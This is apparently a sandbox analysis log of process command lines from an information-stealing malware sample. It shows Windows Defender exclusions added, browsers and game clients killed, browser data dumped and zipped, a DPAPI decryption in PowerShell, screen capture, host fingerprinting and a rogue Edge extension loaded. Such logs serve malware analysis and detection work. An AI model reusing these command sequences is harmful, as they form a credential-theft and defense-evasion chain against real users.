- '<SYSTEM32>\cmd.exe' /d /s /c "curl -s https://api.ipify.org"
- '<SYSTEM32>\curl.exe' -s https://api.ipify.org
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' "--load-extension=%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions\Edge" "--disable-extensions-except=%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions\Edge" --disable-popup-...
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --load-extension="%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions\Edge" --disable-extensions-except="%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions\Edge" --disable-popup-...
- '<SYSTEM32>\cscript.exe' /nologo %TEMP%\run_1761702751152_9upnlvjst.vbs
- '%ProgramFiles(x86)%\microsoft\edge\application\89.0.774.68\identity_helper.exe' --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1860,9830299594126997842,13040935347990740149,131072 --lang=en-US --service-sandbox-type=none --mojo-...
- '<SYSTEM32>\cmd.exe' /d /s /c "<SYSTEM32>\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"
- '<SYSTEM32>\reg.exe' QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
- '<SYSTEM32>\cmd.exe' /c %TEMP%\screenCapture\screenCapture_1.3.2.bat %TEMP%\2025928-3340-k07l6p.vntnq.png
- '%WINDIR%\microsoft.net\framework\v4.0.30319\csc.exe' \nologo \r:"Microsoft.VisualBasic.dll" \win32manifest:"app.manifest" \out:"screenCapture_1.3.2.exe" "%TEMP%\SCREEN~1\SCREEN~1.BAT"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFBDB.tmp" "%TEMP%\screenCapture\CSC7CA22429851141F4A2A175AD2439EE3.TMP"
- '<SYSTEM32>\wermgr.exe' "-outproc" "0" "5736" "876" "560" "880" "0" "0" "0" "0" "0" "0" "0" "0"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM browser.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM epic.exe"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Steam.exe /F"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM javaw.exe /F"
- '%WINDIR%\syswow64\cmd.exe' /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq VRCPlugin.exe" /FO csv | "<SYSTEM32>\find.exe" "VRCPlugin.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "net session"' (with hidden window)
- '<SYSTEM32>\wscript.exe' %TEMP%\elevate_1761702661320.vbs' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\SystemTemp\ww31ti'""' (with hidden window)
- '<SYSTEM32>\cscript.exe' /nologo %TEMP%\run_1761702686888_myffdljti.vbs' (with hidden window)
- '%LOCALAPPDATA%\systemtemp\ww31ti\save_data.exe' "C:\\Users\\user\\AppData\\Local\\SystemTemp\\ww31ti\\save_data.exe" "C:\\Users\\user\\AppData\\Local\\SystemTemp\\ww31ti" "C:\\Users\\user\\AppData\\Local\\SystemTemp\\ww31ti\\output" "E494899...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\AppCache\o9l74k'""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM chrome.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM msedge.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM brave.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM opera.exe"' (with hidden window)
- '%LOCALAPPDATA%\systemtemp\ww31ti\cache.exe' all -o C:\\Users\\user\\AppData\\Local\\SystemTemp\\ww31ti\\output -v --no-kill' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Compress-Archive -Path '%LOCALAPPDATA%\SystemTemp\ww31ti\output\*' -DestinationPath '%LOCALAPPDATA%\SystemTemp\ww31ti\output\browserData_1761702698668.zip' -Force...' (with hidden window)
- '<SYSTEM32>\cscript.exe' /nologo %TEMP%\run_1761702705318_vm6be3yxn.vbs' (with hidden window)
- '%LOCALAPPDATA%\appcache\o9l74k\stats_db.exe' ' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\AppTemp\i1of4b'""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "tasklist"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAA...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM firefox.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM kometa.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM orbitum.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM centbrowser.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM 7star.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM sputnik.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM vivaldi.exe"' (with hidden window)
- '<SYSTEM32>\cscript.exe' /nologo %TEMP%\run_1761702723436_q8hjwa9ch.vbs' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM epicprivacybrowser.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM uran.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\TempData\8u21p0'""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM yandex.exe"' (with hidden window)
- '%LOCALAPPDATA%\apptemp\i1of4b\level_db.exe' "E49489906D65" "emrebabakraladam.lol"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM iridium.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "hostname"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "curl -s https://api.ipify.org"' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' "--load-extension=%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions\Edge" "--disable-extensions-except=%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions\Edge" --disable-popup-...' (with hidden window)
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe' --load-extension="%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions\Edge" --disable-extensions-except="%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Extensions\Edge" --disable-popup-...' (with hidden window)
- '<SYSTEM32>\cscript.exe' /nologo %TEMP%\run_1761702751152_9upnlvjst.vbs' (with hidden window)
- '%LOCALAPPDATA%\tempdata\8u21p0\game_cache.exe' "E49489906D65"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "<SYSTEM32>\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c %TEMP%\screenCapture\screenCapture_1.3.2.bat %TEMP%\2025928-3340-k07l6p.vntnq.png' (with hidden window)
- '%WINDIR%\microsoft.net\framework\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESFBDB.tmp" "%TEMP%\screenCapture\CSC7CA22429851141F4A2A175AD2439EE3.TMP"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM browser.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /F /IM epic.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Steam.exe /F"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM javaw.exe /F"' (with hidden window)
